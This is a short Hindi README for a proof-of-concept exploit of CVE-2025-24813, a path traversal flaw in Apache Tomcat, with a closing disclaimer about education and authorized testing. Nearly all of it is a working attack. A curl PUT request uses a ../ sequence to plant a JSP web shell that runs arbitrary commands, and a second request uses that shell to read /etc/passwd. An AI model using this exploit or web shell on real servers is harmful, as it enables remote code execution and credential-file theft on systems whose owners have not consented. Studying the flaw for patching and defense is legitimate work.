
Apache Tomcat, पथों में ../ अनुक्रमों के अनुचित प्रबंधन के कारण Path Equivalence / Path Traversal समस्या के लिए कमजोर है।
Apache Tomcat, पथों में ../ अनुक्रमों के अनुचित हैंडलिंग के कारण पथ समतुल्यता / पथ भ्रमण समस्या के लिए संवेदनशील है।
CVE आईडी: CVE-2025-24813
संदर्भ लिंक: https://github.com/advisories/GHSA-83qj-6fr2-vhqg
1. PUT विधि के साथ एक curl अनुरोध भेजें:
curl -X PUT "http://target.com/uploads/../webapps/ROOT/updates.jsp" \
-H "Content-Type: application/x-jsp" \
--data-raw '<%@ page import="java.io.*" %>
<html><body>
<form method="GET"><input type="text" name="cmd"><input type="submit" value="Run"></form>
<% if(request.getParameter("cmd") != null) {
Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
BufferedReader r = new BufferedReader(new InputStreamReader(p.getInputStream()));
String l; while((l=r.readLine())!=null){ out.println(l+"<br>"); } } %>
</body></html>' -i

2. अपलोड की गई फ़ाइल तक सीधे पहुँचें:
curl "http://target.com/updates.jsp?cmd=cat/etc/passwd" -i

यह रिपॉजिटरी केवल शैक्षिक उद्देश्यों और अधिकृत परीक्षण के लिए बनाई गई है।
बिना स्पष्ट अनुमति के सिस्टम के खिलाफ अनधिकृत उपयोग अवैध है।